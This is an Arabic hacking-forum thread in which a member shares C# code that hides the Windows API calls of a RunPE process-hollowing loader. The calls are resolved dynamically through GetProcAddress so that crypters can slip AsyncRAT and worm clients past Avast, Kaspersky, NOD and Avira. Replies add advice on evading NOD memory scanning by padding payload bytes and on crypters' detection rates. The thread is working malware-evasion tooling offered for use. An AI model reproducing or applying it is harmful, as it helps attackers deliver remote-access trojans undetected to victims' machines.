[ شرح ] الطريقة المستخدمه لتشفير كلاس RunPE في البرامج المدفوعة


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

NYAN CAT

ᴄᴀғғᴇɪɴᴇ ᴅᴇᴘᴇɴᴅᴇɴᴄᴇ
8 يناير 2019
464
1,175
Kuwait
github.com
0
السلام عليكم.

اليوم اقدم طريقة من الطرق المستخدمة في برامج التشفير المدفوعه. هذة الطريقة أعتقد الأغلب لا يعرفها لأن أصحاب برامج التشفير لا يطرحون اكوادهم.

الفكرة هي تمويه الدوال النيتف التي تتحسس منها الحماية مثل "VirtualAllocEx" و "SetThreadContext" وغيرها..

تم التجربة Runtime + Internet ON وتم تخطي الافاست + كاسبر + نود + افيرا بكلاينت AsyncRAT ومره اخرى بكلاينت NYAN W0RM.

ويمكنك اضافة هذة الفكرة في مشروعك او تشفيرتك.


قـبـل avcheck.net/id/clfqVPa1QCeX

C#:
    [DllImport("kernel32.dll", EntryPoint = "CreateProcessA", CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]
    private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
    [DllImport("kernel32.dll", EntryPoint = "GetThreadContext"), SuppressUnmanagedCodeSecurity]
    private static extern bool GetThreadContext(IntPtr thread, int[] context);
    [DllImport("kernel32.dll", EntryPoint = "Wow64GetThreadContext"), SuppressUnmanagedCodeSecurity]
    private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
    [DllImport("kernel32.dll", EntryPoint = "SetThreadContext"), SuppressUnmanagedCodeSecurity]
    private static extern bool SetThreadContext(IntPtr thread, int[] context);
    [DllImport("kernel32.dll", EntryPoint = "Wow64SetThreadContext"), SuppressUnmanagedCodeSecurity]
    private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
    [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory"), SuppressUnmanagedCodeSecurity]
    private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
    [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory"), SuppressUnmanagedCodeSecurity]
    private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
    [DllImport("ntdll.dll", EntryPoint = "ZwUnmapViewOfSection"), SuppressUnmanagedCodeSecurity]
    private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
    [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx"), SuppressUnmanagedCodeSecurity]
    private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
    [DllImport("kernel32.dll", EntryPoint = "ResumeThread"), SuppressUnmanagedCodeSecurity]
    private static extern int ResumeThread(IntPtr handle);


بـعـد avcheck.net/id/QhSsTDaTkXEb

C#:
        #region API delegate
        private delegate int _ResumeThread(IntPtr handle);
        private delegate bool _Wow64SetThreadContext(IntPtr thread, int[] context);
        private delegate bool _SetThreadContext(IntPtr thread, int[] context);
        private delegate bool _Wow64GetThreadContext(IntPtr thread, int[] context);
        private delegate bool _GetThreadContext(IntPtr thread, int[] context);
        private delegate int _VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
        private delegate bool _WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
        private delegate bool _ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
        private delegate int _ZwUnmapViewOfSection(IntPtr process, int baseAddress);
        private delegate bool _CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
            bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref STARTUP_INFORMATION startupInfo, ref PROCESS_INFORMATION processInformation);
        #endregion


        #region API
        private static readonly _ResumeThread ResumeThread = CreateApi<_ResumeThread>("kernel32", "ResumeThread");
        private static readonly _Wow64SetThreadContext Wow64SetThreadContext = CreateApi<_Wow64SetThreadContext>("kernel32", "Wow64SetThreadContext");
        private static readonly _SetThreadContext SetThreadContext = CreateApi<_SetThreadContext>("kernel32", "SetThreadContext");
        private static readonly _Wow64GetThreadContext Wow64GetThreadContext = CreateApi<_Wow64GetThreadContext>("kernel32", "Wow64GetThreadContext");
        private static readonly _GetThreadContext GetThreadContext = CreateApi<_GetThreadContext>("kernel32", "GetThreadContext");
        private static readonly _VirtualAllocEx VirtualAllocEx = CreateApi<_VirtualAllocEx>("kernel32", "VirtualAllocEx");
        private static readonly _WriteProcessMemory WriteProcessMemory = CreateApi<_WriteProcessMemory>("kernel32", "WriteProcessMemory");
        private static readonly _ReadProcessMemory ReadProcessMemory = CreateApi<_ReadProcessMemory>("kernel32", "ReadProcessMemory");
        private static readonly _ZwUnmapViewOfSection ZwUnmapViewOfSection = CreateApi<_ZwUnmapViewOfSection>("ntdll", "ZwUnmapViewOfSection");
        private static readonly _CreateProcessA CreateProcessA = CreateApi<_CreateProcessA>("kernel32", "CreateProcessA");
        #endregion


        #region CreateAPI
        [DllImport("kernel32", SetLastError = true)]
        public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
        [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
        public static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
        private static CreateApi CreateApi<CreateApi>(string name, string method)
        {
            return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi));
        }
        #endregion

طبعاً يستحسن تغيير اسامي المتغيرات الثابته و الـ delegate وايضاً يمكنك تمويه الـ string
 

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,688
3,655
1
مرة حاولت اشوف طريقة لذلك وسالت مستر زيرو بس قال لي مافيه حل خخ
الله يعطيك العافية اخي الحبيب ..بالفعل الطريقة مش معروفة لان مرة بحثت كثير وماشفت حل
اما الان مع CreateAPI نحلت السالفة خخ
 
  • أعجبني
التفاعلات: NYAN CAT و Mr.Ali

๖ۣۜA M E E R

.:: DeveloPer ::.
طاقم الإدارة
4 نوفمبر 2018
10,320
794
العراق
0
الله يجزيك كل خير اخي NYAN CAT
اصبح للموقع استاذين الان .. كل مرة اتعلم منكم شي جديد تماماً

الله يجزيكم كل خير
 
  • أعجبني
التفاعلات: NYAN CAT

ViRusRat

Legend Administrator
Legend Administrator
18 نوفمبر 2018
222
287
0
مبدع كعادتك يا نيان والله مدلعنا مواضيع قويه وحصريه :]d (4):
 
  • أعجبني
التفاعلات: NYAN CAT

Miraculous_DZ

.:: VIP ::.
12 أغسطس 2019
2
4
0
السلام عليكم حبايبنا
الطريقة تصلح ل scan time فقط للاسف
جربت كذا خزعبلات ومكتبات لتمويه اللودر او الرنبي لتجاوز فحص الذاكرة ..لكن للاسف تزبط للمرة الاولى .. لكن ماتتخطى بعدين حتى لو ظلت كلين
 
  • أعجبني
التفاعلات: NYAN CAT و BasharBachir

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,688
3,655
1
السلام عليكم حبايبنا
الطريقة تصلح ل scan time فقط للاسف
جربت كذا خزعبلات ومكتبات لتمويه اللودر او الرنبي لتجاوز فحص الذاكرة ..لكن للاسف تزبط للمرة الاولى .. لكن ماتتخطى بعدين حتى لو ظلت كلين
اولا بعد زماان هه
ثانيا انت اعلم مني بس رح اذكر حسب خبرتي مع النود
تقصد فحص الذاكرة للنود ؟
جرب التالي اكتب بايتات الكلاينت على ستريم ومن ثم زيد على الستريم عدد كبير من البايتات الاضافية "انت كريم والنود يستاهل" حول الستريم لاراي وشغل بنقطة ادخال وخبرني
فيه طرق ثانية للتنفيذ مثل ماتعرف غير الستريم المهم زيادة حجم البايتات بشكل كبير ..مثل انك تضيف بايتات الملف على ليست اوف بايت ومن ثم حلقة فور بتضيف بايتات عشوائية بعد اضافة بايتات الكلاينت
ومن ثم حول الليست لاراي وشغلها بنقطة ادخال كمان مابيطلع اشعار تهديد بالذاكرة ..
او يمكن وضع الكلاينت برابط واستدعاء الفانكشن المراد عمل انفوك لها

1990


او انت بدك تتخطى فحص الذاكرة للنود حصرا ب ران بي ؟..
ثالثا اعتقد انك تعرف كل اللي قلته وزيادة ..اعرفك من سنين مبدع ووحش فكيف الان ..
رابعا افا عليك ..تعرف ليش

 
  • أعجبني
التفاعلات: NYAN CAT و Miraculous_DZ

Miraculous_DZ

.:: VIP ::.
12 أغسطس 2019
2
4
0
اولا بعد زماان هه
ثانيا انت اعلم مني بس رح اذكر حسب خبرتي مع النود
تقصد فحص الذاكرة للنود ؟
جرب التالي اكتب بايتات الكلاينت على ستريم ومن ثم زيد على الستريم عدد كبير من البايتات الاضافية "انت كريم والنود يستاهل" حول الستريم لاراي وشغل بنقطة ادخال وخبرني
فيه طرق ثانية للتنفيذ مثل ماتعرف غير الستريم المهم زيادة حجم البايتات بشكل كبير ..مثل انك تضيف بايتات الملف على ليست اوف بايت ومن ثم حلقة فور بتضيف بايتات عشوائية بعد اضافة بايتات الكلاينت
ومن ثم حول الليست لاراي وشغلها بنقطة ادخال كمان مابيطلع اشعار تهديد بالذاكرة ..
او يمكن وضع الكلاينت برابط واستدعاء الفانكشن المراد عمل انفوك لها

مشاهدة المرفق 1990


او انت بدك تتخطى فحص الذاكرة للنود حصرا ب ران بي ؟..
ثالثا اعتقد انك تعرف كل اللي قلته وزيادة ..اعرفك من سنين مبدع ووحش فكيف الان ..
رابعا افا عليك ..تعرف ليش
حبيب الاريب مثل ما تقول يابشار...
ااسف على عدم السؤال انشغلت كثير ...بس والله في القلب . اتابعك وبصمت لاطمءن عليك
بالنسبة للرنبي هاد الحكي بعد تجريب طبعا .. وبعد تشفير البايتات بطرق برايفت طبعا
 
  • أعجبني
التفاعلات: BasharBachir و NYAN CAT

NYAN CAT

ᴄᴀғғᴇɪɴᴇ ᴅᴇᴘᴇɴᴅᴇɴᴄᴇ
8 يناير 2019
464
1,175
Kuwait
github.com
0
السلام عليكم حبايبنا
الطريقة تصلح ل scan time فقط للاسف
جربت كذا خزعبلات ومكتبات لتمويه اللودر او الرنبي لتجاوز فحص الذاكرة ..لكن للاسف تزبط للمرة الاولى .. لكن ماتتخطى بعدين حتى لو ظلت كلين
وعليكم السلام منور الموضوع.

هذا فحص من موقع dyncheck الشهير - الرابط prnt.sc/ov1h01 - للأسف لم استطع تفعيل الانترنت لأن باقتي لا تتيح لي هذة الخاصية ولكن جربتها على الوهمي AVAST KAS NOD AVIRA مع تفعيل الانترنت وتم وصول التبليغ.

^ التشفيره سطحيه من غير لودر و ارفاق مكتبة DLL .. الخ

بخصوص الـ 3 برامج التي كشفت التشفيره .. الـ COMODO والبرامج التي على شاكلته ليست حساسه من السلوك الخبيث ولا من التمويه ولا من التثبيت .. بــل لها حساسيه من ملف الدوت نت بالكامل!! حتى لو عملت Form1 فارغ سوف يتم عزل التطبيق في بيئة وهميه!

سأحاول معرفة طريقة تخطي هذا النوع من السلوك الغبي.

-----------------------------------

بخصوص ردك .. من الصعب تحديد المشكلة التي واجهتك من غير تقديم السورس الخاص بك وطرق التمويه ونوع الكلاينت وسلوك اللودر الخاص فيك.
 
  • أعجبني
التفاعلات: BasharBachir و Miraculous_DZ

NYAN CAT

ᴄᴀғғᴇɪɴᴇ ᴅᴇᴘᴇɴᴅᴇɴᴄᴇ
8 يناير 2019
464
1,175
Kuwait
github.com
0
بخصوص الـ 3 برامج التي كشفت التشفيره .. الـ COMODO والبرامج التي على شاكلته ليست حساسه من السلوك الخبيث ولا من التمويه ولا من التثبيت .. بــل لها حساسيه من ملف الدوت نت بالكامل!! حتى لو عملت Form1 فارغ سوف يتم عزل التطبيق في بيئة وهميه!
كونسل عبارة عن Hello world - الفحص prnt.sc/ov4li3

سلوك يذكرني ببدايات ويندوز ديفيندر. يتحسس من أي ملف غير موثوق.


C#:
namespace ConsoleApp2
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello World!");
            Console.Read();
        }
    }
}
 
  • أعجبني
التفاعلات: BasharBachir

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك